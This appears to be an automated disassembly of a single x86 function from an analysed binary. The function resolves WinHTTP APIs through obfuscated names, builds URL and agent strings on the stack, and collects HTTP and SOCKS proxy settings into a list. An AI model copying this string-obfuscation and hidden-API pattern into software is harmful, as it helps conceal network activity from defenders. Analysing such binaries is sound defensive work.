Function at 0x40bb33
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
mov eax, 0x1118
call fcn.0041ce38
sub esp, eax
mov dword [esp + 0x110c], 0
mov dword [esp], str.U4R_55sTsdR
call fcn.0040b60e
mov ebx, eax
mov dword [esp], str.winhttp.dll
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x1108], eax
mov dword [esp], str.U4R_55sEd590WfZ_W0u0i
call fcn.0040b60e
mov ebx, eax
mov dword [esp], str.winhttp.dll
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x1104], eax
cmp dword [esp + 0x1108], 0
je 0x40c06a
cmp dword [esp + 0x1104], 0
je 0x40c06a
mov word [esp + 0x94], 0x49
mov word [esp + 0x96], 0x6e
mov word [esp + 0x98], 0x74
mov word [esp + 0x9a], 0x65
mov word [esp + 0x9c], 0x72
mov word [esp + 0x9e], 0x6e
mov word [esp + 0xa0], 0x65
mov word [esp + 0xa2], 0x74
mov word [esp + 0xa4], 0x50
mov word [esp + 0xa6], 0x72
mov word [esp + 0xa8], 0x6f
mov word [esp + 0xaa], 0x78
mov word [esp + 0xac], 0x79
mov word [esp + 0xae], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
lea eax, [esp + 0x94]
mov dword [esp], eax
mov eax, dword [esp + 0x1108]
call eax
sub esp, 0x14
mov dword [esp + 0x1100], eax
cmp dword [esp + 0x1100], 0
je 0x40c06a
mov dword [esp + 8], 0x18
mov dword [esp + 4], 0
lea eax, [esp + 0x7c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0xc
mov dword [esp + 4], 0
lea eax, [esp + 0x70]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0x7c], 1
mov dword [esp + 0x80], 3
mov dword [esp + 0x90], 1
mov word [esp + 0x2a], 0x68
mov word [esp + 0x2c], 0x74
mov word [esp + 0x2e], 0x74
mov word [esp + 0x30], 0x70
mov word [esp + 0x32], 0x3a
mov word [esp + 0x34], 0x2f
mov word [esp + 0x36], 0x2f
mov word [esp + 0x38], 0x77
mov word [esp + 0x3a], 0x77
mov word [esp + 0x3c], 0x77
mov word [esp + 0x3e], 0x2e
mov word [esp + 0x40], 0x79
mov word [esp + 0x42], 0x61
mov word [esp + 0x44], 0x6e
mov word [esp + 0x46], 0x64
mov word [esp + 0x48], 0x65
mov word [esp + 0x4a], 0x78
mov word [esp + 0x4c], 0x2e
mov word [esp + 0x4e], 0x63
mov word [esp + 0x50], 0x6f
mov word [esp + 0x52], 0x6d
mov word [esp + 0x54], 0
lea eax, [esp + 0x70]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x7c]
mov dword [esp + 8], eax
lea eax, [esp + 0x2a]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x1100]
mov dword [esp], eax
mov eax, dword [esp + 0x1104]
call eax
sub esp, 0x10
test eax, eax
je 0x40c06a
mov eax, dword [esp + 0x74]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41ed1e
mov dword [esp + 4], 0x1000
lea eax, [esp + 0xf8]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x41ecec
lea eax, [esp + 0xf8]
mov dword [esp], eax
call fcn.004199a8
mov byte [esp + 0x6a], 0x68
mov byte [esp + 0x6b], 0x74
mov byte [esp + 0x6c], 0x74
mov byte [esp + 0x6d], 0x70
mov byte [esp + 0x6e], 0x3d
mov byte [esp + 0x6f], 0
lea eax, [esp + 0xb0]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xb8]
mov dword [esp + 8], eax
lea eax, [esp + 0x6a]
mov dword [esp + 4], eax
lea eax, [esp + 0xf8]
mov dword [esp], eax
call fcn.0040b99a
test al, al
je 0x40befc
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [esp + 0x110c], eax
mov eax, dword [esp + 0x110c]
lea edx, [eax + 4]
mov dword [esp + 8], 0x40
lea eax, [esp + 0xb8]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00419918
mov eax, dword [esp + 0x110c]
mov dword [eax], 3
lea eax, [esp + 0xb0]
mov dword [esp], eax
call fcn.00419d08
mov edx, dword [esp + 0x110c]
mov dword [edx + 0x44], eax
mov edx, dword [0x424304]
mov eax, dword [esp + 0x110c]
mov dword [eax + 0x88], edx
mov eax, dword [esp + 0x110c]
mov dword [0x424304], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0x41ed21
mov dword [esp], 0x41e7a8
call fcn.00419918
mov byte [esp + 0x63], 0x73
mov byte [esp + 0x64], 0x6f
mov byte [esp + 0x65], 0x63
mov byte [esp + 0x66], 0x6b
mov byte [esp + 0x67], 0x73
mov byte [esp + 0x68], 0x3d
mov byte [esp + 0x69], 0
lea eax, [esp + 0xb0]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xb8]
mov dword [esp + 8], eax
lea eax, [esp + 0x63]
mov dword [esp + 4], eax
lea eax, [esp + 0xf8]
mov dword [esp], eax
call fcn.0040b99a
test al, al
je 0x40c06a
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [esp + 0x110c], eax
mov eax, dword [esp + 0x110c]
lea edx, [eax + 4]
mov dword [esp + 8], 0x40
lea eax, [esp + 0xb8]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00419918
mov eax, dword [esp + 0x110c]
mov dword [eax], 0
lea eax, [esp + 0xb0]
mov dword [esp], eax
call fcn.00419d08
mov edx, dword [esp + 0x110c]
mov dword [edx + 0x44], eax
mov edx, dword [0x424304]
mov eax, dword [esp + 0x110c]
mov dword [eax + 0x88], edx
mov eax, dword [esp + 0x110c]
mov dword [0x424304], eax
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [esp + 0x110c], eax
mov eax, dword [esp + 0x110c]
lea edx, [eax + 4]
mov dword [esp + 8], 0x40
lea eax, [esp + 0xb8]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00419918
mov eax, dword [esp + 0x110c]
mov dword [eax], 2
lea eax, [esp + 0xb0]
mov dword [esp], eax
call fcn.00419d08
mov edx, dword [esp + 0x110c]
mov dword [edx + 0x44], eax
mov edx, dword [0x424304]
mov eax, dword [esp + 0x110c]
mov dword [eax + 0x88], edx
mov eax, dword [esp + 0x110c]
mov dword [0x424304], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0x41ed21
mov dword [esp], 0x41e7a8
call fcn.00419918
mov dword [esp], str.U4R_55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0
call fcn.0040b60e
mov ebx, eax
mov dword [esp], str.winhttp.dll
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0x10fc], eax
cmp dword [esp + 0x10fc], 0
je 0x40c382
mov dword [esp], 0x10
call sub.msvcrt.dll_malloc
mov dword [esp + 0x10f8], eax
mov eax, dword [esp + 0x10f8]
mov dword [esp], eax
mov eax, dword [esp + 0x10fc]
call eax
sub esp, 4
test eax, eax
je 0x40c382
mov eax, dword [esp + 0x10f8]
mov eax, dword [eax + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x41ed1e
mov dword [esp + 4], 0x1000
lea eax, [esp + 0xf8]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x41ecec
lea eax, [esp + 0xf8]
mov dword [esp], eax
call fcn.004199a8
mov byte [esp + 0x5d], 0x68
mov byte [esp + 0x5e], 0x74
mov byte [esp + 0x5f], 0x74
mov byte [esp + 0x60], 0x70
mov byte [esp + 0x61], 0x3d
mov byte [esp + 0x62], 0
lea eax, [esp + 0xb0]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xb8]
mov dword [esp + 8], eax
lea eax, [esp + 0x5d]
mov dword [esp + 4], eax
lea eax, [esp + 0xf8]
mov dword [esp], eax
call fcn.0040b99a
test al, al
je 0x40c214
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [esp + 0x110c], eax
mov eax, dword [esp + 0x110c]
lea edx, [eax + 4]
mov dword [esp + 8], 0x40
lea eax, [esp + 0xb8]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00419918
mov eax, dword [esp + 0x110c]
mov dword [eax], 3
lea eax, [esp + 0xb0]
mov dword [esp], eax
call fcn.00419d08
mov edx, dword [esp + 0x110c]
mov dword [edx + 0x44], eax
mov edx, dword [0x424304]
mov eax, dword [esp + 0x110c]
mov dword [eax + 0x88], edx
mov eax, dword [esp + 0x110c]
mov dword [0x424304], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0x41ed21
mov dword [esp], 0x41e7a8
call fcn.00419918
mov byte [esp + 0x56], 0x73
mov byte [esp + 0x57], 0x6f
mov byte [esp + 0x58], 0x63
mov byte [esp + 0x59], 0x6b
mov byte [esp + 0x5a], 0x73
mov byte [esp + 0x5b], 0x3d
mov byte [esp + 0x5c], 0
lea eax, [esp + 0xb0]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xb8]
mov dword [esp + 8], eax
lea eax, [esp + 0x56]
mov dword [esp + 4], eax
lea eax, [esp + 0xf8]
mov dword [esp], eax
call fcn.0040b99a
test al, al
je 0x40c382
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [esp + 0x110c], eax
mov eax, dword [esp + 0x110c]
lea edx, [eax + 4]
mov dword [esp + 8], 0x40
lea eax, [esp + 0xb8]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00419918
mov eax, dword [esp + 0x110c]
mov dword [eax], 2
lea eax, [esp + 0xb0]
mov dword [esp], eax
call fcn.00419d08
mov edx, dword [esp + 0x110c]
mov dword [edx + 0x44], eax
mov edx, dword [0x424304]
mov eax, dword [esp + 0x110c]
mov dword [eax + 0x88], edx
mov eax, dword [esp + 0x110c]
mov dword [0x424304], eax
mov dword [esp], 0x8c
call sub.msvcrt.dll_malloc
mov dword [esp + 0x110c], eax
mov eax, dword [esp + 0x110c]
lea edx, [eax + 4]
mov dword [esp + 8], 0x40
lea eax, [esp + 0xb8]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00419918
mov eax, dword [esp + 0x110c]
mov dword [eax], 0
lea eax, [esp + 0xb0]
mov dword [esp], eax
call fcn.00419d08
mov edx, dword [esp + 0x110c]
mov dword [edx + 0x44], eax
mov edx, dword [0x424304]
mov eax, dword [esp + 0x110c]
mov dword [eax + 0x88], edx
mov eax, dword [esp + 0x110c]
mov dword [0x424304], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0x41ed21
mov dword [esp], 0x41e7a8
call fcn.00419918
nop
add esp, 0x1118
pop ebx
ret